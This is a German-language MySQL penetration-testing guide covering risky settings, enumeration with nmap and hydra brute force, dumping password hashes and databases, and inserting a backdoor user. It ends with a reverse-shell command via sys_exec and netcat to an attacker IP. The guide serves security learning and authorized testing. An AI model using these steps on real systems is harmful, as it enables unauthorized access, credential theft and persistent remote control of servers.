3306 - MySQL
Einführung in MySQL
MySQL ist ein Open-Source-SQL-Datenbankverwaltungssystem (RDBMS), das nach dem Client-Server-Prinzip arbeitet. Es speichert Daten in strukturierten Tabellen und wird häufig für Webanwendungen in Kombination mit Linux, Apache und PHP (LAMP-Stack) oder Nginx (LEMP-Stack) verwendet. MySQL ist bekannt für seine hohe Performance, Skalierbarkeit und Benutzerfreundlichkeit.
Sicherheitsrelevante Aspekte
Unverschlüsselte Authentifizierung: MySQL kann auf unverschlüsselten TCP-Ports (3306) betrieben werden.
Schwache Zugangsdaten: Standardbenutzer wie
root
ohne Passwort sind oft zu finden.Fehlkonfigurierte Benutzerrechte: Exzessive Rechte für nicht-administrative Benutzer.
SQL-Injection: Fehlerhafte Webapplikationen können Angreifern direkten SQL-Zugriff ermöglichen.
Datenlecks durch Debug-Logs: Fehlerhafte Konfiguration kann sensible Daten in Logs speichern.
Gefährliche MySQL-Einstellungen
Bestimmte Konfigurationsoptionen können ein erhebliches Sicherheitsrisiko darstellen:
Einstellung
Beschreibung
user
Setzt den MySQL-Dienstbenutzer. Falls falsch konfiguriert, kann MySQL mit Root-Rechten laufen.
password
Speichert Klartextpasswörter. Dies sollte vermieden werden.
admin_address
Gibt an, auf welcher IP der MySQL-Adminservice erreichbar ist. Eine falsche Konfiguration kann zu einem öffentlichen Zugang führen.
debug
Aktiviert Debugging-Informationen, die sensitive Daten preisgeben können.
sql_warnings
Zeigt detaillierte Fehlermeldungen, die für SQL-Injections genutzt werden können.
secure_file_priv
Definiert, ob MySQL Dateien importieren/exportieren darf. Unsichere Werte (""
oder NULL
) können zur Arbitrary File Read/Write Schwachstelle führen.
Grundlegende MySQL-Befehle
Befehl
Beschreibung
$ mysql -u <user> -p<password> -h <IP>
Verbindung zu einem MySQL-Server herstellen.
show databases;
Listet alle verfügbaren Datenbanken.
use <database>;
Wechselt zur angegebenen Datenbank.
show tables;
Zeigt alle Tabellen der aktuellen Datenbank.
show columns from <table>;
Listet Spalten einer bestimmten Tabelle.
select * from <table>;
Zeigt den gesamten Inhalt einer Tabelle.
select * from <table> where <column> = "<string>";
Sucht nach einem spezifischen Wert in einer Tabelle.
Schritt-für-Schritt MySQL Pentesting
1. Service Enumeration
1.1 MySQL-Port mit Nmap scannen
Zunächst überprüfen wir, ob MySQL auf dem Zielsystem läuft und welche Version genutzt wird:
$ sudo nmap -sV -sC -p3306 --script=mysql* <Ziel-IP> # Scannt den MySQL-Port 3306 mit Standard-Skripten
Möglicher Output:
PORT STATE SERVICE VERSION
3306/tcp open mysql MySQL 8.0.27
| mysql-info:
| Protocol: 10
| Version: 8.0.27
| Capabilities: LongPassword, SupportsTransactions, SupportsCompression, Speaks41ProtocolNew
| Auth Plugin Name: caching_sha2_password
Interpretation:
Der MySQL-Dienst ist aktiv und verwendet die Version 8.0.27.
Der verwendete Authentifizierungs-Plugin ist
caching_sha2_password
.
1.2 Benutzer- und Passwort-Enumerierung
Falls keine Zugangsdaten vorhanden sind, versuchen wir, schwache oder Standard-Passwörter zu finden:
$ sudo hydra -L users.txt -P passwords.txt mysql://<Ziel-IP> -V # Brute-Force Angriff mit Hydra
Alternativ mit Nmap:
$ sudo nmap -p3306 --script=mysql-brute <Ziel-IP> # Automatische Benutzer/Passwort-Enumerierung
Achtung: Ein erfolgreicher Login mit
root
ohne Passwort ist ein kritischer Sicherheitsmangel.
2. MySQL-Exploitation
2.1 Direkte Anmeldung
Falls gültige Zugangsdaten gefunden wurden, können wir uns mit dem MySQL-Client anmelden:
$ mysql -u root -p -h <Ziel-IP> # Interaktive Anmeldung an MySQL
Falls das Passwort bekannt ist:
$ mysql -u root -pP4SSw0rd -h <Ziel-IP>
Erfolgreiche Anmeldung:
Welcome to the MySQL monitor. Commands end with ; or \g.
mysql> show databases;
2.2 Zugriff auf sensible Daten
Sobald wir Zugriff haben, suchen wir nach sensiblen Informationen wie Benutzerkonten und Passwörtern.
mysql> use mysql;
mysql> show tables;
mysql> select host, user, authentication_string from user;
Möglicher Output:
+-----------+----------+-------------------------------------------+
| host | user | authentication_string |
+-----------+----------+-------------------------------------------+
| localhost | root | *E6CC90B878B948C35E92B003C792CABC3A613141 |
| % | admin | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 |
| % | user1 | *0F2A5B1444A741A95B459424F42DF57E7E1D2276 |
+-----------+----------+-------------------------------------------+
Hinweis:
Hashes können mit
hashcat
oderjohn
geknackt werden.
2.3 Dumping der Datenbank
Falls wir Zugriff auf eine relevante Datenbank haben, können wir sie vollständig exportieren:
$ mysqldump -u root -p --all-databases > dump.sql # Exportiert alle Datenbanken
Ziel:
Lokale Analyse oder Import in eine Testumgebung.
Suche nach sensiblen Daten (Benutzer, Passwörter, Kreditkarteninformationen).
2.4 SQL-Berechtigungen eskalieren
Falls wir eingeschränkte Rechte haben, prüfen wir unsere Berechtigungen:
mysql> show grants for current_user();
Falls wir Schreibrechte auf kritische Tabellen haben, könnten wir einen Backdoor-User anlegen:
mysql> insert into mysql.user (Host, User, authentication_string, plugin) values ('%', 'backdoor', PASSWORD('pwned'), 'mysql_native_password');
mysql> flush privileges;
2.5 Exploits & Schwachstellen
Falls MySQL veraltet ist, suchen wir nach bekannten Exploits, z.B.:
$ searchsploit mysql | grep -i "Remote Code Execution"
Beispiel für eine kritische Schwachstelle:
$ exploit-db 1518 # MySQL 5.1.1 UDF Exploit
3. Post-Exploitation & Persistenz
Falls wir Zugang zu MySQL haben, können wir uns durch Hintertüren Zugang verschaffen:
3.1 Einfügen eines Reverse Shell-Triggers
Falls die Datenbank als Root läuft, können wir Shell-Befehle ausführen:
mysql> select sys_exec('nc -e /bin/sh <Angreifer-IP> 4444');
Last updated